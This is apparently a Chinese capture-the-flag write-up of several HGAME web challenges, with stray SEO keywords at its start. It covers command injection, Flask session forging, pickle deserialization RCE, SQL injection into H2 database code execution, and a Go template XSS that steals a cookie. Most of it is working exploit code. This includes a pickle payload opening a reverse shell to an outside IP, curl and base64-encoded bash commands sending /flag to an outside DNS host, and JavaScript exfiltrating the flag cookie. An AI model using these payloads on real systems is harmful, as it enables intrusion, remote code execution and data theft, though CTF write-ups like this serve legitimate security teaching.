优秀产品设计公司哪家好,南通关键词优化平台,网站建设与管理资料下载,专业网站建设电---------【WEEK-2】---------
What the cow say?
题目描述#xff1a;the cow want to tell you something
注意title#xff0c;Python的flask漏洞可多呢 版本310 先测一下SSTI
正常情况下 SSTI测试 变量渲染测试#xff0c;被waf了#xff0c;说明方向对了 单单过滤…---------【WEEK-2】---------
What the cow say?
题目描述the cow want to tell you something
注意titlePython的flask漏洞可多呢 版本310 先测一下SSTI
正常情况下 SSTI测试 变量渲染测试被waf了说明方向对了 单单过滤flag fuzz了一下也不像是SSTI 乱试下出现了个离谱的。啊喂这这这乐一猜一个不吱声。 弄个源码看看帮各位处理过了
string app.pyfrom flask import Flask, render_template, request, redirect, url_for
import subprocessapp Flask(__name__) app.route(/, methods[GET, POST])
def index():result None if request.method POST:user_input request.form[user_input]result run_cowsay(user_input)returnrender_template(index.html,resultresult) app.route(/post,methods[POST])def post():if request.method POST: user_input request.form[user_input]result run_cowsay(user_input)returnrender_template(index.html,resultresult)def run_cowsay(text):try: if(waf(text)): cmd_output subprocess.check_output(cowsay text, textTrue,stderrsubprocess.STDOUT, shellTrue)return cmd_output.strip() else:cmd_output subprocess.check_output(cowsay Waf!,textTrue, stderrsubprocess.STDOUT,shellTrue)return cmd_output.strip()except subprocess.CalledProcessError as e:return run_cowsay(ERROR!)def waf(string): blacklist [echo,cat, tee, ;, |, amp;, lt;,gt;, \\, flag]for black in blacklist:if (black in string): return Falsereturn True if __name__ __main__: app.run(0.0.0.0, port80)
flag位置/flag_is_here/flag_c0w54y hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n} myflask
题目描述善用搜索引擎容器中的 Python 版本为 3.11 直接给了源码
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezonecurrentDateAndTime datetime.now(timezone(Asia/Shanghai))
currentTime currentDateAndTime.strftime(%H%M%S)app Flask(__name__)
# Tips: Try to crack this first ↓
app.config[SECRET_KEY] currentTime
print(currentTime)app.route(/)
def index():session[username] guestreturn send_file(app.py)app.route(/flag, methods[GET, POST])
def flag():if not session:return There is no session available in your client :(if request.method GET:return You are {} now.format(session[username])# For POST requests from adminif session[username] admin:pickle_database64.b64decode(request.form.get(pickle_data))# Tips: Here try to trigger RCEuserdatapickle.loads(pickle_data)return userdataelse:return Access Deniedif __name____main__:app.run(debugTrue, host0.0.0.0)两个步骤。1、破解session2、pickle实现RCE
session密钥是当前时间在根路由刷新/flag路由刷新网页不改变session。 我当前时间戳密钥是234221。 我们小范围爆破即可。230000-234221
当前session
eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4脚本解密看看结构
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig payload.rsplit(b., 1)payload, timestamp payload.rsplit(b., 1)decompress Falseif payload.startswith(b.):payload payload[1:]decompress Truetry:payload base64_decode(payload)except Exception as e:raise Exception(Could not base64 decode the payload because of an exception)if decompress:try:payload zlib.decompress(payload)except Exception as e:raise Exception(Could not zlib decompress the payload before decoding the payload)return session_json_serializer.loads(payload)if __name__ __main__:print(decryption(eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4.encode())) #输入session
非常的朴实无华 爆破密钥脚本
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import syspath wordlist.txtprint(Generating wordlist... )with open(path,w) as f:#permutations with repetition[f.write(23.join(x)\n) for x in itertools.product(0123456789, repeat4)] #加上前缀#url http://47.115.201.35:8000/index
#cookie_tamper r.head(url).cookies.get_dict()[session]
cookie_tampereyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4
print(Got cookie: cookie_tamper)print(Cracker Started...)obj flask_unsign.Cracker(valuecookie_tamper)before time.time()with wordlist(path, parse_linesFalse) as iterator:obj.crack(iterator)secret
if obj.secret:secret obj.secret.decode()print(fFound SECRET_KET {secret} in {time.time()-before} seconds)signer flask_unsign.sign({time:time.time(),authorized:True},secretsecret)密钥233629 之后flask_unsign工具伪造session即可。
flask-unsign --sign --cookie {username: admin} --secret 233629伪造成功开始第二步。 注意pickle版本要一致版本是311。
脚本
import pickle
import os
import base64class aaa():def __reduce__(self):return(os.system,(bash -c bash -i /dev/tcp/120.46.41.173/9023 01,))a aaa()payloadpickle.dumps(a)payloadbase64.b64encode(payload)
print(payload)
寄了我就知道没这么简单。 报错看不太出来什么。我之前生成pickle那个引用了os包可能环境没有换个脚本。
import pickle
import base64class A(object):def __reduce__(self):return (eval, (__import__(os).popen(tac /flag).read(),))a A()
a pickle.dumps(a)
print(base64.b64encode(a)) 果然如此。payload
POST
pickle_datagASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQuSelect More Courses
题目描述ma5hr00m wants to take more courses, but he may be racing against time. Can you help him?
hint 可参考的弱密码字典https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt 开题首先要登录注意系统提示。 密码直接拿hint给的密码本爆破。密码是qwert123 点击扩容 提示和时间赛跑 还有一个是选课界面只需要选一个。 猜测这里要同时选课申请。预期应该是双线程脚本我直接双开爆破了。 选上了。 search4member
考点总结SQL注入堆叠h2database RCE漏洞
题目描述Vidar-Team have so much members,so 1ue write an api to search…
hint 出题人失误忘写connection.close();导致多次payload可使服务dos请本地打通再尝试远程环境带来不便请见谅 有附件给了源码。是java的SQL。导入IDEA看看。
package org.vidar.controller;import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;
import org.vidar.config.DbManager;import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;Controller
public class SearchController {Injectprivate DbManager dbManager;Mapping(/)public ModelAndView search(Param(defaultValue web) String keyword) throws SQLException {ListString results new ArrayList();if (keyword ! null !keyword.equals()) {String sql SELECT * FROM member WHERE intro LIKE % keyword %;;DataSource dataSource dbManager.getDataSource();Statement statement dataSource.getConnection().createStatement();ResultSet resultSet statement.executeQuery(sql);while (resultSet.next()) {results.add(resultSet.getString(id) : resultSet.getString(intro) : resultSet.getString(blog));}resultSet.close();statement.close();}ModelAndView model new ModelAndView(search.ftl);model.put(results, results);return model;}
}
数据库结构如下
DROP TABLE IF EXISTS member;
CREATE TABLE member
(id VARCHAR(30) NOT NULL UNIQUE COMMENT id,intro VARCHAR(255) NOT NULL COMMENT intro,blog VARCHAR(255) NOT NULL COMMENT blog
);INSERT INTO member (id, intro, blog)
VALUES (【xxx】);测试可以sql注入。payload
?keyword%E4%BC%9A%E9%95%BF%25%3B--%2B解码后会长%;--获取数据库数据库名字为H2
?keywordzzz%25 and 12 union SELECT 1,2,database();--奇怪的数据库名字数据库中找不到flag这题可能不是简单的SQL注入。
开始搜索引擎找到了h2database有一个RCE漏洞 参考
H2 database漏洞复现 - Running_J - 博客园 (cnblogs.com)
Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)
这个总的来说就是创建一个数据库函数 SHELLEXEC 函数可以直接执行命令
测试payloadSQL注入H2 RCE参照两个参考文章得出两个都可以
?keywordzzz%25;CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\\A); return s.hasNext() ? s.next() : ; }$$;CALL SHELLEXEC(curl 28zrgzsc.requestrepo.com);--?keywordzzz%25;CREATE ALIAS SHELLEXEC AS String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}; CALL SHELLEXEC(curl 28zrgzsc.requestrepo.com);--测试payload发现可以被DNS接收。 最终payload执行命令之前CREATE ALIAS SHELLEXEC已经创建过SHELLEXEC函数无需重复创建反弹shell失败了尝试DNS带出flag
?keywordzzz%25;CALL SHELLEXEC(bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20}|{base64,-d}|{bash,-i});--最终payload带出flag成功。 梅开二度
考点总结Go语言SSTIXSS
题目描述 开题 后端代码实现 看这{{}}感觉好像SSTI又说flag在bot手上怀疑是XSS。有意思没怎么学过go边做边学吧。
搜索引擎启动搜索关键字 GO SSTI XSS 安全漏洞。真能搜到Go的SSTI危害比较小能用的基本上只有XSS。不像Jinja2那样可以RCE。
查找到有用的参考文章
浅学Go下的ssti - SecPulse.COM | 安全脉搏
Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)
Go SSTI初探 | tyskillのBlog
https://blog.dexter0us.com/posts/go-blogs-hacktivitycon-2021-writeup/
有附件看看源码注释来自GPT4.0
// 导入必要的包
import (context // 用于创建和传递上下文log // 用于记录日志net/url // 用于解析URLos // 用于读取环境变量和文件系统regexp // 用于正则表达式匹配sync // 用于同步goroutinetext/template // 用于处理文本模板存在XSStime // 用于处理时间github.com/chromedp/chromedp // ChromeDP用于控制Chrome浏览器github.com/gin-gonic/gin // Gin是一个HTTP Web框架golang.org/x/net/html // 用于操作HTML
)// 预编译的正则表达式用于检查模板字符串中是否包含非法词汇
var re regexp.MustCompile(script|file|on)// 全局锁用于同步访问
var lock sync.Mutexfunc main() {// 创建一个ChromeDP执行环境配置Chrome运行参数allocCtx, cancel : chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],chromedp.NoSandbox, chromedp.DisableGPU)...)defer cancel() // 确保在main函数结束时取消上下文释放资源// 创建一个Gin路由器r : gin.Default()// 处理根路径的GET请求动态生成HTML页面r.GET(/, func(c *gin.Context) {tmplStr : c.Query(tmpl) // 从查询参数获取模板字符串if tmplStr {tmplStr defaultTmpl // 若未提供则使用默认模板} else {// 检查模板字符串是否合法if re.MatchString(tmplStr) {c.String(403, tmpl contains invalid word)return}if len(tmplStr) 50 {c.String(403, tmpl is too long)return}tmplStr html.EscapeString(tmplStr) // 对模板字符串进行HTML转义}tmpl, err : template.New(resp).Parse(tmplStr) // 解析模板if err ! nil {c.String(500, parse template error: %v, err)return}if err : tmpl.Execute(c.Writer, c); err ! nil { // 执行模板生成响应c.String(500, execute template error: %v, err)}})// 处理/bot路径的GET请求模拟浏览器访问提供的URLr.GET(/bot, func(c *gin.Context) {rawURL : c.Query(url) // 从查询参数获取URLu, err : url.Parse(rawURL) // 解析URLif err ! nil {c.String(403, url is invalid)return}if u.Host ! 127.0.0.1:8080 { // 限制URL的主机地址c.String(403, host is invalid)return}go func() { // 在新的goroutine中执行以非阻塞方式处理请求lock.Lock() // 在访问共享资源前加锁defer lock.Unlock() // 确保在函数结束时释放锁ctx, cancel : chromedp.NewContext(allocCtx,chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),)defer cancel()ctx, _ context.WithTimeout(ctx, 20*time.Second) // 设置上下文超时if err : chromedp.Run(ctx,chromedp.Navigate(u.String()), // 导航到指定的URLchromedp.Sleep(time.Second*10), // 等待页面加载); err ! nil {log.Println(err) // 记录错误}}()c.String(200, bot will visit it.) // 响应客户端})// 处理/flag路径的GET请求仅允许来自localhost的请求r.GET(/flag, func(c *gin.Context) {if c.RemoteIP() ! 127.0.0.1 { // 检查请求来源IP地址c.String(403, you are not localhost)return}flag, err : os.ReadFile(/flag) // 读取flag文件if err ! nil {c.String(500, read flag error)return}c.SetCookie(flag, string(flag), 3600, /, , false, true) // 将flag设置为cookiec.Status(200) // 发送200状态码})// 启动Gin服务器监听8080端口r.Run(:8080)
}// defaultTmpl是默认的HTML模板用于生成响应页面
const defaultTmpl
!DOCTYPE html
html
headtitleYOU ARE/title
/head
bodydiv欢迎来自 {{.RemoteIP}} 的朋友/divdiv你的 User-Agent 是 {{.GetHeader User-Agent}}/divdivflag在bot手上想办法偷过来/div
/body分析源码
1、导包中的text/template个人认为是Go语言的XSS标志
Go 提供了两个模板包。一个是 text/template另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护因此该模板并不适合构建 Web 应用程序而html/template与text/template基本相同但增加了HTML编码等安全保护更加适用于构建web应用程序。
template常用基本语法
在{{}}内的操作称之为pipeline
在template中点.代表当前作用域的当前对象{{.Query aaa}} 调用一个名为Query的方法并传递字符串aaa作为参数{{.}} 表示当前对象如user对象{{.FieldName}} 表示对象的某个字段{{range …}}{{end}} go中for…range语法类似循环{{with …}}{{end}} 当前对象的值上下文{{if …}}{{else}}{{end}} go中的if-else语法类似条件选择{{xxx | xxx}} 左边的输出作为右边的输入{{template navbar}} 引入子模版2、var re regexp.MustCompile(script|file|on)
黑名单过滤script、file、on
3、if len(tmplStr) 50
限制长度50以内。当时想着payload被限制50以内那就麻烦了之后想到可以绕过的~
4、tmplStr html.EscapeString(tmplStr)
进行转义 5、根路由\存在SSTI注入点是tmpl 到分析的第5点为止。我们已经发现了根路由存在SSTI防御手段有三分别是黑名单过滤、长度限制、转义。
转义了单双引号我们用反引号代替。此外我们绕一下直接调用Query()函数获取另外一个传参变量Jay17的值。
先测试是否存在SSTIpayload如下回显的值为95272022表示存在SSTI
?tmpl{{println 0B101101011011011110001010110}}我们先XSS弄个弹窗试试
?tmpl{{.Query Jay17}}Jay17scriptalert(XSS)/script显然成功了XSS存在且我们可控。接下来我们就是思考如何带出flag了。 继续分析
6、/bot路由主要是获取传参url访问url参数的值要满足访问的是本地8080端口。 7、/flag路由将cookie设置为flag前提是来源是本地bot可以做到 8、整体思路就是让bot拿出flag给我。
直接让bot访问/flag路由可以让bot获取flag但是带不出来。访问url可以看作只有一次访问
结合XSS我们首先让bot访问根路由在根路由进行XSSXSS执行js代码使得bot访问/flag获取cookie再带出cookie给我bot的cookie此时就是flag。
payload模板
/bot?urlhttp://127.0.0.1:8080?tmpl{{.Query Jay17}}Jay17script【JS代码用来XSS】/script现在的问题就是怎么XSS在XSS的任务就是获取cookie flag、带出flag。
JS代码部分
async function fetchData() {// 首先访问网址Aawait fetch(http://127.0.0.1:8080/flag).then(response response.text()) .then(data console.log(网址A访问成功)).catch(error console.error(访问网址A时发生错误:, error));// 然后访问网址B并将响应数据赋值给变量Xlet x; // 定义变量Xawait fetch(http://127.0.0.1:8080/?tmpl{{.Cookie flag}}).then(response response.text()) .then(data {x data; // 将获取到的数据网页响应赋值给变量X}).catch(error console.error(访问网址B时发生错误:, error));window.open(http://jay17x.substring(6,46).kgb7xfn7.requestrepo.com/);//DNS带出
}
// 调用函数
fetchData();坑点1题目出网但是vps监听不了DNS可以解析我们尝试用DNS带出cookie。 坑点2URL编码问题。
因为利用/bot路由去XSS这个路由首先解码一次之后XSS时候又会解码一次。
绿色框框编码一次红色框框编码两次。 坑点3 Cookie问题
因为c.SetCookie(flag, string(flag), 3600, /, , false, true)一开始用document.cookie带出cookie的时候死活带不出来
c.SetCookie(flag, string(flag), 3600, /, , false, true)c: 这通常代表当前的请求上下文context。在许多Web框架中c用于访问和操作请求和响应如获取请求数据、设置响应头或cookie等。SetCookie: 这是一个方法用于在用户的浏览器上设置一个cookie。flag: 这是cookie的名称。这是你在客户端设置和检索cookie时使用的关键字。string(flag): 这是cookie的值。flag变量被转换为字符串类型这是你想存储在用户浏览器中的实际数据。假设flag变量之前已经被定义并且包含了某些信息。3600: 这是cookie的过期时间以秒为单位。3600表示cookie将在3600秒后过期也就是1小时。过期后浏览器将自动删除该cookie。/: 这是cookie的路径。路径限制了cookie可以被哪些页面请求访问。/表示这个cookie在域名下的所有页面都是可访问的。: 这是cookie的域。这里为空字符串意味着cookie将应用于当前文档的域名。在实际使用中你可以通过设置具体的域名来限制cookie只能被该域名或其子域名下的页面访问。false: 这个参数指定了cookie是否只能通过HTTPS协议传输。false表示cookie既可以在HTTP也可以在HTTPS协议下传输。如果设置为true则cookie只能在加密的HTTPS连接中被传输这增加了安全性。true: 这个参数表示cookie是否应该被标记为HttpOnly。true意味着cookie将被标记为HttpOnly这意味着它只能通过HTTP(S)请求访问而不能通过客户端脚本如JavaScript访问。这有助于减少跨站脚本攻击XSS的风险。当一个cookie被标记为HttpOnly它不能通过客户端脚本如JavaScript访问。这是一个安全措施旨在防止跨站脚本攻击XSS通过盗取cookie来损害用户的安全。因此如果一个cookie被设置为HttpOnly你不能通过在客户端运行的JavaScript代码如document.cookie来访问这个cookie。 那我们就是用Go语言的SSTI漏洞来获取cookie
请求如下网址返回即使flag之后再带出
http://127.0.0.1:8080/?tmpl{{.Cookie flag}}坑点4花括号问题
因为flag里面有花括号导致了DNS带不出数据。。。。。
尝试采用base64和url编码带出也失败了猜测不仅仅是花括号其他的等号、百分号也会导致无法带出。。。
那我们就用字符串截取.substring()方法截取flag中花括号内的纯字符。
payload按之前说的编码
/bot?urlhttp%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Jay17%60%7D%7D%26Jay17%3D%253Cscript%253E%250Aasync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch(http%253A%252F%252F127.0.0.1%253A8080%252Fflag)%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log(%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error(%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch(http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error(%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252Fjay17%2522%252Bx.substring(6%252C46)%252B%2522.kgb7xfn7.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%250A%253C%252Fscript%253Eflag
hgame{83762880f8ea0a4db75fb2e9b69efc42526e998b}以下是萝莉的JS部分
window.open(http://127.0.0.1:8080/flag); //获取cookie(flag)
setTimeout(function(){ //延时1s执行var xhr new XMLHttpRequest();xhr.open(GET, http://127.0.0.1:8080/?tmpl{{.Cookie flag}});xhr.withCredentials true; //允许请求携带跨域凭证如cookiesxhr.send();xhr.onreadystatechangefunction(){//从响应文本中截取前4个字符并前缀添加y存储在变量a中。var ay(xhr.responseText).substring(0,4); //var ay(xhr.responseText).length; //获取flag长度window.open(http://a.kbqsag.ceye.io); //带出想要的数据变量a};
},1000)防御此漏洞方法
Go模板包text/template提供了内置函数html来转义特殊字符除此之外还提供了js函数转义js代码。
{{html scriptalert(/xss/)/script}}
{{js js代码}}